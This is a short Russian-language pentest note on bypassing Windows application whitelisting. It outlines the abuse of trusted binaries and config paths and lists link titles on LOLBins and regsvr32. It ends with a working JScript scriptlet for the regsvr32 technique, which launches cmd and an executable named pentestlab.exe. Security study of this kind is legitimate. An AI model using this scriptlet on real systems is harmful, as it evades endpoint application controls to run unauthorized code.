Обход Ограничений Запуска Приложений В Windows
Оглавление
Введение
В принципе, вариантов у нас немного, либо ищем бинарники которые мы можем запускать и которые могут что-то запускать, либо ищем бинарники которые можно запускать и которым мы можем менять конфиги, как например пути к либам.
А еще есть ПроцесХайджекинг, но про него я много не знаю.
Ссылки
Запуск пейлоада с помощью .NET
Список всех интересных бинарников винды которые могут быть использованны против неё
Исходники штуки которая ищет недостатки в вайтлистинге на конкретной машине
Обход вайтлиста с помощью regsvr32
Пример кода для regsvr32
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe");
]]>
</script>
</registration>
</scriptlet>